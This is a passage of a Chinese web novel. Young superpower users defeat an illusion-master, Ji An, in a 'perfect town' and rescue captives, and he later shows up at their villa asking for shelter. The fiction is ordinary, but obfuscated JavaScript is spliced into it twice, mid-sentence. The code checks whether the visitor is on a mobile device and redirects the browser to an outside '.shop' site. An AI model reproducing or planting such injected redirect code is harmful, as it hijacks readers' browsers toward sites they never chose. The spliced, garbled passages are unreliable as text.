“更高级,也更危险。”宋听澜摇头,“他剥离的是情绪,是人性中所谓的杂质,试图制造纯粹的快乐个体。这听起来像某种极端的精神进化实验,或者信仰。” 裴衍靠着一棵老树,眼睛望着远处小镇朦胧的轮廓:“他的目的如果是创造一个完美世界,仅仅困在这个小镇是不够的。放人,要么是实验阶段性完成,要么就是有更大的图谋,暂时不想引起外部过度关注。” “所以我们更要在他进行下一步之前,彻底解决他。”时聿的声音从阴影里传来,一如既往地简洁。 “怎么解决?他的本体藏在幻境深处,我们连找都找不到。昨晚那个季安肯定只是个高级幻象或者分身。” “那就逼他出来。”裴衍直起身,目光扫过众人,“他不是喜欢造幻境吗?不是喜欢躲在暗处看戏吗?我们把他的戏台拆了,把他的观众清空,看他还能不能坐得住。” 夜幕再次降临。 这一次,他们没有掩饰行踪,直接从正门踏入。 温暖的愉悦能量场立刻包裹上来,试图软化他们的意志。但这一次,所有人都有了准备。裴衍走在最前面,微光以他为中心扩散开来,沉稳厚重的土系能量如同一堵无形的墙壁,将那甜腻的能量场排斥在外。 时聿融入街角的阴影,消失不见。宋听澜指尖捻着几颗细小的种子,翠绿的木系能量若隐若现。陆时忆手握惊蛰,剑身雷光吞吐不定。江淮年和沈言一左一右跟在裴衍侧后方,冰火与混合能量虽未完全恢复,但战意已重新燃起。 街道上那些笑容满面的镇民停下了动作,齐刷刷地转过头,看向他们。那些笑容依旧挂在脸上,眼神却空洞得吓人,如同被统一操控的木偶。 “止步。”一个温和的声音从街道尽头传来。 戏院院长季安再次出现了。他依旧穿着那身长衫,站在石板路中央,身后是黑洞洞的如意戏院大门。烛光从门内透出,将他身影拉长。他脸上带着与昨晚别无二致的儒雅微笑,眼神却冷了下来。 “我给过你们离开的机会。”季听的声音清晰地传入每个人耳中,“为什么还要回来,打扰此地的安宁与完美?” “安宁?完美?”陆时忆嗤笑一声,惊蛰剑尖指向他,“用活人做实验,把人变成这副鬼样子,你管这叫完美?” 季听轻轻叹了口气,仿佛在惋惜不懂事的孩子。 “痛苦、恐惧、悲伤……这些情绪才是人类的枷锁。我给予他们解脱,赐予永恒纯粹的快乐。你们为何不能理解这份善意?” “善意?”江淮年上前一步,掌心冰火流转,“你的善意,就是把人变成没有自我意识的傀儡?收起你那套歪理!把失踪者交出来,解除对小镇的控制……” 季听嘴角的笑意加深:“就凭你们这几个乳臭未干的小家伙?” 话音落下的瞬间,整条街道的景象开始扭曲。 石板路变成了蠕动的血肉,两侧的木屋扭曲成嶙峋的怪骨,天空被不断滴落黑色液体的乌云覆盖。而那些僵立的镇民们,脸上的笑容猛地撕裂开来,露出下面布满利齿的嘴,发出非人的嘶吼,四肢着地,如同野兽般扑了上来。 幻境瞬间降临。 空气里弥漫着令人作呕的腐烂气味,那些扑来的镇民幻象带着实质般的杀意和能量波动。 同时,陆时忆动了。惊蛰化作一道撕裂黑暗的光,人随剑走,雷光炸开,目标直指站在戏院门口的季安。 宋听澜指尖光丝弹出,落地即生,翠绿藤蔓如同活蛇般窜出,迅速交织成一张巨大的网,将扑向江淮年和沈言的幻象镇民暂时缠绕。 沈言和江淮年背靠背,混合能量与冰火交织,将漏网的幻象击碎。沈言低声道:“这个季安不对劲,能量波动比昨晚弱,但幻境本身更强了!” “还是分身!”江淮年咬牙,“本体在操控幻境,分身在这里吸引火力!” 面对陆时忆那道狂暴的雷霆剑光,季安不闪不避,只是微笑着抬手。他身前空间如同水波般荡漾,雷霆剑光没入其中,竟然消失无踪。紧接着,陆时忆周围景象再变,他发现自己孤身一人站在一片无尽的雷暴海洋中央,脚下是沸腾的海,头顶是不断劈落的天雷。 这是他内心深处对雷系异能失控而反噬自身的恐惧所化的幻境,陆时忆闷哼一声,惊蛰剑光狂闪,与幻境中的自己搏杀起来,一时无法脱身。 裴衍那边震荡的效果开始减弱,因为脚下的土地本身就成了幻境的一部分,不断扭曲变化,抵消他的力量。 就在这时,一直站在戏院门口,看似从容的分身眉头皱了一下。 “西北角,戏院后墙那边!” 裴衍反应极快,几乎在沈言话音落下的同时,他放弃了对整片区域的压制,将能量集中,朝着沈言所指的方向狠狠轰去。所过之处,扭曲的幻象和诡异景象被粗暴地碾碎。 这一击显然出乎对方预料。季安分身脸上的从容终于维持不住,他试图调动幻境力量阻挡,但那能量凝聚了裴衍此刻最强一击,蕴含着破除虚妄的沉重意志,硬生生在光怪陆离的幻境中凿开了一条短暂的真实通道。 通道尽头,戏院后墙的阴影里,空间一阵水波般的剧烈荡漾。 一个模糊的身影轮廓闪现一瞬,随即再次隐没。但就是这一瞬的暴露,足够了。 “他受伤了,被干扰了!”很明显,维持如此庞大高强度的幻境,同时还要操控分身,对那个本体也是巨大的负担。 裴衍这针对性的一击,打乱了他的节奏。“继续施压!别给他喘息机会!”宋听澜催生的藤蔓带着尖锐的木刺,主动向着幻境能量流动最紊乱的区域穿刺。 那分身终于色变,他不再硬接,身影一阵模糊,仿佛要消散。整个幻境也随之剧烈波动,那些幻象变得不稳定起来。 “想跑?!”沈言将恢复不多的混合能量全力爆发,光华化作一张紊乱的能量大网,铺天盖地罩向分身所在区域,干扰其能量结构与幻境之间的联系。 多重干扰与攻击之下,那个分身终于维持不住,如同被戳破的气泡般“噗”一声消散。 几乎同时,笼罩街道的恐怖幻境也如同退潮般迅速瓦解、消失。 石板路、木屋、夜空恢复了原状。 街道尽头,如意戏院的大门,吱呀一声,缓缓向內打开了。 门内没有烛光,只有一片深邃的黑暗。 一个与之前季安截然不同的声音从黑暗中传来,那声音很年轻,清亮,还有压抑不住的恼火。 “你们……真的很烦人。” 脚步声响起。一个人影,从戏院的黑暗中,一步步走了出来,踏入门外街道上那虚假的暖黄微光里。 所有人,在看到他的瞬间,都愣住了。 少年看起来也就十七八岁,身形清瘦挺拔。半长的头发略显凌乱,发梢柔软地贴着脖颈和脸颊。皮肤瓷白,五官精致得无可挑剔,眉眼间有一种模糊了性别的美感。他穿着一身简单的素色衣裤,赤着脚,踩在冰凉的石板上。 那张脸上带着一种初生婴儿般的纯真茫然,睫毛很长,微微垂着,在眼下投出小片阴影。眼睛是漂亮的浅褐色,眼神清澈见底,好像不谙世事,找不到半分恶意或心机。整个人站在那里,在暖黄微光映衬下,纯良得像降临人间的天使。与昨夜那恐怖的幻境主宰,与刚才那个冰冷的季安,判若两人。 一时间,街道上只剩下夜风吹过的细微声响,所有人都惊愕地看着这个突然出现的美丽少年。 季安抬起眼,目光有些困惑地扫过严阵以待的众人,最后落在站在最前方的裴衍身上,轻声开口,那清亮的嗓音与他纯良的外表完全契合:“你们……为什么要破坏我的小镇?大家在这里,明明都很开心啊。” 他的语气里带着真诚的不解和一丝委屈,仿佛他们才是无理取闹的破坏者。 这巨大的反差让众人一时不知如何回应。连宋听澜都下意识推了推眼镜,怀疑自己是不是判断失误,或者眼前这个少年只是另一个更高级的幻象? 只有江淮年和沈言,因为亲身经历过心魇的恐怖,此刻后背寒气直冒。越是看起来无害,越可能隐藏着致命的毒牙。 裴衍沉默了几秒,开口,声音是前所未有的冷硬:“收起你这套把戏。季安,还是该叫你别的什么?你的幻术,对我们没用了。” 季安眨了眨眼,长长的睫毛像蝴蝶翅膀般颤动。他微微歪头,重复道:“季安?那是谁?” 他的表情天真又无辜,“我叫阿宁,一直住在这里。季听哥哥才是戏院的院长,他刚才好像被你们吓跑了。” 装,他还在装。 沈言忍不住说道:“昨晚在戏院里操控幻境,用失踪者做实验的就是你!什么季听,根本就是你伪装出来的!” 季安看向沈言,眼眸里迅速蒙上一层水雾,显得更加楚楚可怜:“你……你在说什么呀?什么幻境?什么实验?我听不懂……我好害怕,你们好凶……”他边说,边往后退了一小步,单薄的身体在夜风里似乎有些发抖。 这副模样,任谁看了都会心生怜惜,怀疑是不是真的找错了人,冤枉了一个无辜又美丽的少年。 裴衍不为所动,往前踏了一步,能量的压迫感更强:“最后问你一次,失踪者在哪?解除对小镇的控制……” 他话未说完,异变陡生。 前一秒还我见犹怜、泫然欲泣的季安,脸上的纯真无辜瞬间褪去,嘴角勾起一个恶劣到极点的笑。 季安开口,声音还是那样,但语调和语气已天翻地覆,变成毫不掩饰的讥诮:“嗯?不解除能怎么样?你们就用地刺把我串起来?用雷劈我?还是用你们那点可怜的能量,再试试破我的镜花水月?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158076|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这变脸速度快得令人猝不及防,刚才那个纯洁无瑕的阿宁仿佛只是个拙劣的玩笑,此刻站在他们面前的,才是真正的季安。 “终于不装了?”江淮年冰火能量升腾,冷冷地盯着他。 “装?”季安轻笑一声,抬手随意地撩了一下额前的碎发,“是你们太无趣,非得逼我换个方式陪你们玩。不过也好……”他目光扫过众人,尤其是在江淮年和沈言身上多停留了一瞬,“昨晚的两个,加上今天新来的……你们几个高质量样本,说不定能加速我的完美世界进程呢。” 话音未落,他轻轻打了个响指。 “啪。” 众人眼前景象轰然破碎。 这次的幻境是为了分别针对所设置的。直击每个人内心深处最恐惧的幻想。 江淮年和沈言,遭受的攻击最为猛烈。他们眼前同时出现了昨夜戏院中的景象,看到自己被困在心魇中无法挣脱,最终被抽干所有情绪,变成和那些失踪者一样,脸上挂着永恒幸福笑容的空壳,跪在戏台法阵中央。 然后,幻象中的季安微笑着走过来,手指轻轻抚过他们冰冷的脸颊…… “呃啊——!”沈言的混合能量四溢,试图撕裂这可怕的幻象。江淮年的冰火能量几乎要冲破身体,焚烧一切。 “对,就是这样。”季安好整以暇地站在不远处,欣赏着众人陷入各自梦魇的痛苦挣扎,脸上带着愉悦的笑容,“恐惧、愤怒、不甘……多么鲜活、多么美味的负面情绪。可惜,最终还是要把它们剥离掉,只剩下快乐的空壳。不过这个过程,确实很令人着迷,不是吗?” 他缓步走向挣扎最剧烈的江淮年。这个拥有矛盾的双系异能又意志坚韧的少年,在他眼中无疑是上佳的实验材料。 就在季安的手指即将触碰到江淮年额头的瞬间,一道沉稳、厚重、如同大地脉搏般的能量波动,强行穿透了层层幻象的干扰,轰然降临。 裴衍在自身也陷入内心最恐惧景象浮现的情况下,强行稳住了心神,并调动了更深层的能量。 “缚魂。”以裴衍为中心,一圈圈波纹荡漾开来,所过之处,幻象凝固,狂暴的能量被强行抚平镇压。 季安制造的个人化心魇虽然诡异难防,但毕竟分散了力量。 此刻,其他人陷入的幻境也轰然坍塌。 摆脱幻象影响的沈言与江淮年几乎同时出手,将恢复的力量凝聚,沈言的混合能量化作纠缠的能量锁链,直冲季安。江淮年的冰火被他强行糅合在一起,形成一颗双色能量球紧随其后。 季安脸色终于变了。裴衍的缚魂打断了他的节奏,沈言和江淮年的反击更是直取他本体。他擅长的是精神操控和幻境折磨,本体防御和近战并非强项。 他身形急退,双手在身前飞速划动,一道道屏障瞬间层层叠叠出现。能量锁链和冰火双色球撞在屏障上,爆发出刺目的光华和剧烈的能量震荡。屏障一层层碎裂,延缓了攻击。 “烦死了!” 季安彻底失去了那份游刃有余的优雅,眉眼间染上戾气。他不再维持那副少年美丽的表象,周身开始逸散出丝丝缕缕扭曲的能量,其中包含了浓郁的黑暗能量。 这些黑暗能量环绕着他,让他看起来多了几分邪异。身后戏院的黑暗仿佛活了过来融入那些黑暗能量之中。 “既然你们这么想见识……就让你们看看,什么是真正的噩梦轮回……” 然而,就在那恐怖的幻境即将成型的刹那。 “唔!”季安闷哼一声,他周身那些黑暗能量,如同受到了某种不可抗拒的吸引,突然脱离了他的控制,疯狂地涌向江淮年。 冰与火,极寒与炽热,两种极致对立属性在无数次交融、碰撞、磨合中,于江淮年体内最深处,无意识间形成了一个混沌雏形。 雏形本身不具备意识,却对一切混乱的能量有着本能的吸引力。 “怎么回事?!”季安惊怒交加,试图收回那些能量,却发现它们完全不受控制地涌向江淮年。 随着这些驳杂黑暗能量的流失,他体内原本精密运转的幻系异能核心也开始出现不稳的迹象。那些被他强行剥离、储存、用以维持幻境和操控他人的情绪能量隐隐有了反噬的征兆。 “不……不可能!” 江淮年自己也懵了。他只感觉到一股冰冷、混乱、充满恶意的庞大能量疯狂涌入体内,冰火异能瞬间被刺激得躁动起来,在经脉中横冲直撞,剧痛席卷全身。 “淮年!”裴衍瞳孔骤缩,想要冲过来,却被季安失控逸散的能量乱流阻挡。 就在江淮年感觉自己要被这两股内外夹击的能量撕碎时,涌入的黑暗能量在他体内的混浊影响下竟被稀释,原有的污染性和精神侵蚀特性被大幅削弱,最后被冰火能量一点点吸收。 这个过程痛苦无比,江淮年全身皮肤下仿佛有无数细小的冰针和火苗在窜动,冷汗瞬间浸透衣衫,他硬是咬着牙,没有昏过去。 同时,季安身上的邪异气息飞速消退,那些能量流彻底断绝。他踉跄后退几步,扶住戏院的门框才站稳,脸色苍白如纸,大口喘息,看向江淮年的眼神充满了难以置信的惊骇和茫然。 他体内幻系异能核心的不稳渐渐平息,那些被剥离储存的情绪能量也安静下来,不再躁动。一种久违的轻松感席卷了他。 笼罩小镇的那股愉悦能量场,如同失去了源头,开始快速消散。 街道两旁那些表情空洞的镇民们,动作纷纷停滞,脸上的笑容僵住,眼神逐渐恢复了些许属于活人的光彩。 季安看着自己苍白的手,又抬头看向江淮年,最后目光扫过彻底摆脱幻境影响重新围拢过来的裴衍等人。 “呵……”他发出一声意义不明的轻笑,摇了摇头,转身,脚步有些虚浮地走向戏院深处那片依旧浓重的黑暗。 陆时忆举起剑喊道:“季安!站住!” 季安脚步顿了顿,没有回头,轻轻抛下一句话: “人都在戏台底下,昏睡着,没死。小镇的戏,散了。” 他的身影融入黑暗,戏院的大门,在他身后缓缓地关闭,只留下街道上面面相觑的众人和满目疮痍的小镇。 夜空澄净,星子微露。 完美小镇的幻梦,在这一夜,彻底破碎。而季安,独自消失在更深的黑暗里。 36.不速之客 完美小镇的戏散了,裴衍、宋听澜和时聿进入戏院,在冰冷戏台下的暗格里,找到了十个蜷缩的失踪者。 他们像是沉溺在一场深长无梦的睡眠里,对外界全无反应。 宋听澜仔细检查后确认,他们精神层面有被强制干涉和能量透支的痕迹,生命体征稳定,没有不可逆损伤,那些被剥离的情绪似乎随着季安力量的消退正在回归。 小镇上那些镇民也陆续恢复了神智,大多茫然虚弱,对自己被操控期间的行为记忆模糊,只残留着一种不真实的快乐。 他们看着被毁坏了一部分的街道、门窗紧闭的悦来客栈、以及洞开的如意戏院,脸上写满不知所措的恐慌。 宋听澜给昏迷的失踪者喂了安神固本的药剂,确保他们能安稳睡到自然醒来。裴衍用土系异能简单修复了被战斗波及损毁最严重的几处路面和房屋,避免造成更多恐慌。然后,他们带上昏迷的几个人,在黎明前最黑暗的时刻,悄无声息地离开了这座小镇。 回到城区别墅时,天已大亮。江妤和顾肆也刚完成任务回来不久,正在客厅里低声交谈。 看到他们一行人个个神色疲惫的样子,江妤立刻迎上来,目光快速扫过,确认江淮年虽然狼狈但没缺胳膊少腿,才松了口气,转身去准备热毛巾和温水。顾肆则抱臂靠在楼梯旁,挑眉打量着他们,嘴角那抹似笑非笑的弧度怎么看都有点幸灾乐祸的意味。 “哟,回来了?看来玩得挺大。”顾肆懒洋洋地开口。 陆时忆累得连瞪他的力气都没了,把惊蛰往墙角一靠,瘫在沙发里就不想动了。时聿沉默地接过江妤递来的温水,一口气喝干。宋听澜忙着安置那昏迷者,裴衍则直接走到萧予书房门口,敲了敲门。 片刻后,萧予走出书房,目光扫过众人,最后落在江淮年身上。 “师父,小镇的事解决了,失踪者找回,有些意外情况。” 萧予点点头,示意江淮年过去。 江淮年松开沈言的手,走到萧予面前。他温暖的手掌轻轻按在他额头上,一股平和的能量缓缓探入。 江淮年身体微微一僵,他能感觉到萧予的能量细致地扫过他体内每一处经脉,最后停留在冰火异能核心深处那个吸收了季安黑暗能量的混沌平衡点上。 时间一分一秒过去,客厅里安静得只剩呼吸声,所有人都看着萧予和江淮年。 良久,萧予收回手,“黑暗能量的侵蚀被化解了,被你的冰火异能以一种奇特的方式消化了部分。你体内那个点,是冰火极端对立又相互依存,在无数次碰撞磨合中,于最深处自然形成的一个混沌雏形。它本身不具备意识,是一种能量态的自然现象。目前看来,它很稳定,而且因为吸收了那些无序能量,变得更凝实了些。只要你不主动去刺激它,或者再吸入大量同性质的混乱能量,它就不会对你构成威胁,还可能让你的冰火融合多一丝意想不到的变化。” 江淮年听完,悬着的心终于落下一半。没有危险就好。“那……季安他?” “那个幻系异能者?”萧予转身走向窗边,看着外面逐渐喧嚣起来的城市,“他引动黑暗能量,是强行提升幻境威力,控制他人精神的捷径,也让那些负面能量如同跗骨之蛆,侵蚀他自身。你误打误撞吸走了那些能量,某种意义上,算是变相净化了他力量中最危险的部分。至于他本人,能掌握如此精妙幻术,心性意志绝非寻常。是福是祸,犹未可知。他既然选择离开,短期内应不会再来寻衅。此事,暂且到此为止。” 众人闻言,都松了口气。一场惊心动魄的危机,总算暂时告一段落。疲惫感涌上,几人简单处理了伤势,吃了点东西,便各自回房,倒头就睡。精力最旺盛的陆时忆,都没力气打游戏了。 江淮年这一觉睡得天昏地暗,醒来时已是第二天下午。阳光透过窗帘缝隙,在地板上投出明亮的光斑。他躺在床上,感受着体内平稳流淌的冰火能量,那个混沌点安静地蛰伏在深处,若非刻意感知,几乎察觉不到。 回想起小镇戏院里那惊险一幕,季安转身消失在黑暗里的背影,以及那双复杂难辨的眼睛,他心里莫名有些不是滋味。 那家伙……现在去哪儿了? 这个念头只是一闪而过,很快被现实冲散。接下来几天,生活似乎又回归了正轨。 训练、吃饭、偶尔斗嘴、应付顾肆的师哥骚扰、围观陆时忆对江妤笨拙的讨好、看宋听澜笑眯眯地“不经意”坑人、感受时聿神出鬼没的存在感、以及被裴衍盯着加练。 一个月后的某个下午。 门铃响了。 当时江淮年正被裴衍按在训练场加练冰火融合的精细操控,累得像条死狗。沈言靠在旁边的树上,嘴里叼着根草茎,有一搭没一搭地看着,偶尔毒舌点评两句。陆时忆不知跑哪儿去了,顾肆在三楼睡觉,宋听澜在药房,时聿不见踪影,江妤在研究她的异能。 门铃执着地响着,一声接一声,透着一股不达目的不罢休的劲头。 “谁啊?按这么急,催命呢?”沈言不耐烦地嘀咕,慢吞吞地起身,准备去开门。 “我去吧。”江淮年趁机从裴衍的魔爪下挣脱,抹了把脸上的汗,快步走向前院。裴衍皱了皱眉,没阻止,目光也跟了过去。 江淮年拉开别墅的门。 门外站着一个人。 亚麻色的半长发有些凌乱,几缕发丝被汗水濡湿贴在瓷白的额角。身上那套简单的素色衣裤沾着灰尘,裤脚还刮破了一点。 赤着脚,脚趾和脚踝上沾着泥污。他微微仰着头,眼眸在午后阳光下清澈得像玻璃珠子,里面盛满了小动物般的依赖。嘴唇微微抿着,下巴尖削,整个人单薄得仿佛一阵风就能吹倒。 是季安。 江淮年瞬间僵在原地,大脑一片空白。 季安看到他,眼睛倏地亮了,那光芒纯粹又脆弱。他向前挪了一小步,又怯生生地停住,双手无意识地绞着衣角,声音带着细微的颤抖和浓浓的鼻音,可怜兮兮地开口: “江……江淮年……”他叫他的名字,尾音拖得长长的,像受了天大委屈的孩子终于找到可以依靠的人,“我……我没地方去了……” 江淮年:“………………” 他张了张嘴,一个字都没说出来。脑子里只有一个念头在疯狂刷屏:这他妈是什么情况?!这货不是一个月前那个挥手间制造恐怖幻境、眼神恶劣、差点把他们全灭的幻术大佬吗?现在这个站在他家门口、赤着脚、脏兮兮、哭唧唧仿佛被全世界抛弃的小可怜是谁?!精分吗?!还是又是什么新型幻术?! 见江淮年愣着不说话,季安眼眶以肉眼可见的速度红了,里面迅速蓄起一层水光,要掉不掉,更显得楚楚可怜。 他吸了吸鼻子,声音更软了,小心翼翼的试探:“我、我真的没地方可以去了……外面那些人好坏,都欺负我……我走了好久好久,只记得你在这里……你、你能不能收留我一下?就一下下就好……我保证很乖,不给你添麻烦……” 他说着,还下意识地往后缩了缩,仿佛害怕被拒绝,那副模样,任谁看了都硬不起心肠。 至少,刚走到江淮年身后的沈言,看到门口这副景象,脚步猛地顿住,表情跟见了鬼似的。 江淮年终于从石化状态中勉强找回一丝神智,他用力闭了闭眼,又睁开。门口站着的还是那个小可怜季安,不是幻觉。他喉结动了动,干巴巴地挤出几个字:“你……你先……” 他想说“你先别装”,但看着对方那泫然欲泣、仿佛他再说一句重话就能立刻哭出来的样子,后面的话怎么也说不出口。 就在这时,季安的目光似乎无意中越过了江淮年的肩膀,看到了他身后走过来的沈言和裴衍。他像是受惊的小鹿般浑身一颤,猛地低下头,肩膀微微瑟缩,用更可怜的声音对江淮年说:“对、对不起……我是不是打扰到你了?你……你朋友好像不高兴……我、我还是走吧……”说着,竟真的转身,一步一挪,慢吞吞地就要离开,背影写满了孤苦无依。 “等、等等!”江淮年几乎是下意识地开口叫住他。叫完他自己都愣了。妈的,明知道这货百分之九十九点九是在装,可这副样子杀伤力也太大了!尤其是结合一个月前他那副恶魔般的模样,这反差简直让人无法狠心。 季安停住脚步,侧过一点脸,用眼角余光怯怯地瞟着他。 江淮年深吸一口气,感觉自己脑仁疼。他侧开身,让出门口:“……先进来吧。” 季安立刻转回身,脸上瞬间绽开一个如同破晓阳光般明亮的笑容,“谢谢!谢谢你江淮年!你真好!”他雀跃地说着,脚步轻快地迈过门槛,赤脚踩在光洁冰凉的大理石地板上,留下几个淡淡的泥印。 进了门,他似乎才意识到自己脚脏,有些无措地站在原地,低头看着自己的脚丫,又看看干净的地板,小声说:“对、对不起,我把地板弄脏了……” “没事。”江淮年已经有点麻木了,随手从玄关鞋柜里拿了双备用拖鞋扔过去,这还是江妤买的,毛茸茸的兔子拖鞋,粉白色,还有两个长耳朵。 季安看着地上的兔子拖鞋,眼睛眨了眨,然后毫不犹豫地穿上。粉白兔子拖鞋配上他沾着泥污的赤脚和素色衣裤有种诡异的萌感,他试着走了两步,兔子耳朵随着动作一颤一颤。 沈言在后面看得嘴角抽搐,用眼神问江淮年:你搞什么?这什么情况? 江淮年回他一个“我也不知道但你先别说话”的眼神。 裴衍站在稍远处,双手插在裤袋里,上上下下打量着季安,那眼神仿佛要把他从里到外剖开看个清楚。季安似乎感受到了这极具压迫感的审视,身体又缩了缩,往江淮年身边靠了靠,伸手轻轻拽住了江淮年上衣的下摆一角,小幅度地晃了晃,仰起脸,用口型无声地说:“他……他好凶……” 裴衍:“……” 江淮年:“……” 他感觉自己的太阳穴在突突跳。 “行了,别装了。”一道戏谑的声音从楼梯上传来。顾肆不知什么时候醒了,正倚在二楼栏杆上,居高临下地看着楼下这一幕,嘴角噙着看热闹不嫌事大的笑,“你这演技,糊弄糊弄江淮年这种傻子还行,骗鬼呢?” 季安身体僵了一下,拽着江淮年衣角的手指收紧了些,但脸上那副纯良无辜的表情却没有丝毫破绽,眼圈又红了些,委屈地看向顾肆,小声辩解:“我、我没有装……我真的没地方去……” 顾肆嗤笑一声,慢悠悠地走下楼梯。他走到季安面前,身高带来的压迫感更强。他微微俯身,盯着季安的眼睛:“小镇里挥手弄出噩梦幻境,把一群人耍得团团转的,不是你?差点把江淮年这小子搞崩溃的,不是你?现在这副德行给谁看呢?” 季安似乎被顾肆的话语吓到了,猛地松开江淮年的衣角,后退一步,脸色更白,眼睛里迅速蓄满了泪水,却倔强地不让它掉下来,他咬着下唇,身体微微发抖,看着顾肆,又看看江淮年,那眼神仿佛在控诉:看,他欺负我! 江淮年一个头两个大。顾肆说得没错,他知道季安在装。可这家伙装得太像了,这表情,这眼神,这细节…… 而且,不知道为什么,看着季安这副明明害怕却强撑着看向自己的模样,江淮年心里那点早就该硬起来的心肠,就是硬不起来。 “顾肆,”江淮年的声音有点干涩,“他……他之前那些黑暗能量,被我……嗯,处理掉了。可能……对他有影响?”这话他自己说得都没什么底气。 顾肆挑眉,直起身,抱着胳膊,好整以暇:“哦?所以现在是洗心革面、重新做人了?那行啊。”他转向季安,“来,叫声师哥听听。叫得好听,我就考虑相信你。” 季安抿了抿唇,眼眸看向顾肆,又飞快地垂下,长长的睫毛在眼下投出阴影。他沉默了几秒,再抬起头时,脸上那副楚楚可怜的表情如同阳光下的冰雪,迅速消融。泪水瞬间收干,表情也变的漫不经心。紧接着,他抬手,随意地拨弄了一下刚才被弄乱的头发。变化之快,之彻底,让除了顾肆之外的所有人都愣了一瞬。 “啧,没意思。这么快就拆穿,多玩会儿不好吗?” 他边说,边将脚上那双粉白的兔子拖鞋踢掉,赤脚踩在地板上,还嫌弃似的在地上蹭了蹭沾到的灰。然后,他走到客厅中央,毫不客气地在最宽敞的那张单人沙发里坐下。 季安找了个最舒服的姿势窝了进去,抬起眼皮,目光在神色各异的几人脸上扫过,最后落在还站在门口附近的江淮年脸上。 “正式自我介绍一下,”季安翘起二郎腿,“季安。季节的季,安宁的安。十七岁,幻系异能者。一个月前在完美小镇跟你们打过一架。虽然没打赢,还被某个家伙莫名其妙吸走了点东西。”他说到“东西”时,瞥了江淮年一眼,眼神有点微妙,但很快移开。 “至于刚才那出…… 生活需要点乐趣,不是吗?看你们变脸,还挺有意思的。尤其是你,”他看向江淮年,笑意加深,“一副明明知道我在骗人,却又忍不住心软的傻样,真好玩。” 江淮年:“……” 他现在很想把这家伙连同他坐着的沙发一起从窗户扔出去。 沈言终于找回了自己的声音,他走到季安对面的沙发坐下,抱着胳膊,冷笑:“所以,无家可归是假的?被人欺负是假的?走投无路来找江淮年收留,也是假的?” “无家可归是真的。之前那个小镇不能待了,其他地方暂时不想去。被人欺负是假的,走投无路嘛……半真半假吧。不过来找江淮年是真的。毕竟,他算是我好了之后,第一个有过深入交流的人。” 这话听着怎么这么怪?江淮年嘴角抽了抽。 “所以,你的目的是什么?”裴衍走到江淮年身边站定,“留下来?凭什么?” 季安对裴衍的敌意毫不在意,他调整了一下坐姿,让自己陷在沙发里更舒服些。“目的?暂时没想到。就是觉得你们这儿好像挺有意思的。留下来嘛……”他拖长语调,目光扫过客厅,又透过窗户看了看外面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162166|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训练场和花园,“环境不错,房子也大,人多热闹。至于凭什么……凭我长得好看?凭我异能特殊?凭我知道很多你们可能感兴趣的事情?比如,城里最近那些小打小闹的异常,背后是谁在试探?又比如,某些藏在更深处关于湮灭的古老传闻?” 最后那句话,让在场除了顾肆之外的几人脸色都微微一变。 季安很满意他们的反应,眯了眯眼:“放心,我对你们没恶意,之前小镇的事,算我欠你们一次。而且江淮年吸收掉那些黑暗能量,某种程度上算帮了我个大忙。虽然过程不太愉快,但结果还行。所以,我觉得我们可以试着和平共处一阵子,我保证,在找到下一个有趣的地方之前,会遵守你们这儿的规矩。” 他说完,就窝在沙发里不再说话。 那姿态,不像一个请求收留的落魄者,倒像个等待仆人安排好一切的王子。 客厅里陷入短暂的沉默。所有人都看向江淮年,毕竟人是冲他来的,也是他放进来的。 江淮年此刻心里乱糟糟的。理智告诉他,季安很危险,心思难测,留下他就是个定时炸弹。直觉又隐隐觉得,季安刚才说的话,至少有一部分是真的,他那句关于湮灭的古老传闻,确实戳中了他们一直以来的隐忧。萧予师父知道很多,但从不全盘托出。如果季安真的知道些什么…… “师父那边……”江淮年看向裴衍。 “师父出门访友,三天后回来。”裴衍沉声道,“在他回来之前,我们可以暂时收留他。一切,等师父定夺。” 季安脸上露出一个真心实意了许多的笑容,虽然依旧带着点小恶劣:“谢啦。” 于是,季安就这么暂时在别墅住了下来。宋听澜笑眯眯地给他安排了一楼靠近后院的客房,美其名曰“采光好,安静”,实则离主活动区最远,方便观察和隔离。江妤虽然对一个月前小镇的事心有余悸,但看季安现在这副人畜无害(表面上)的少年模样,又听了江淮年简略的解释便也默许了,私下叮嘱江淮年要多加小心。 季安也果然如他所说,在表面上很遵守规矩。话不算多,一开口往往能噎死人,尤其喜欢逗看起来脾气最好,总是笑眯眯的宋听澜。 宋听澜好心给他端来调理身体的药膳,季安会眨巴着那双纯良的眼睛,用最无辜的语气说:“宋师兄,你这汤里加了梦魇草的粉末吧?虽然分量微乎其微,主要起安神作用,长期服用,会让人对调配者的气息产生潜意识依赖哦。你这掌控欲还挺别致的嘛。” 宋听澜脸上的笑容一丝不变,还更温和了些:“季安弟弟说笑了,这只是寻常的宁神药材。你若不喜欢,我换一份便是。” “不用不用,”季安摆摆手,端起碗一口气喝光,舔了舔嘴角,“味道不错。宋师兄手艺真好,以后谁娶了你……哦,嫁了你,真有福气。” 宋听澜:“……” 宋听澜捏着托盘的手指微微收紧了些。 季安很快就摸清了每个人的有趣之处。 对陆时忆,他最喜欢在其练剑到关键时刻,突然在他周围幻化出漫天飘落的粉色花瓣,或者让惊蛰剑柄上开出一朵小雏菊,严重干扰陆大剑客的帅气形象和专注力。陆时忆每次都被气得跳脚,举着开花的剑追着季安满院子跑。 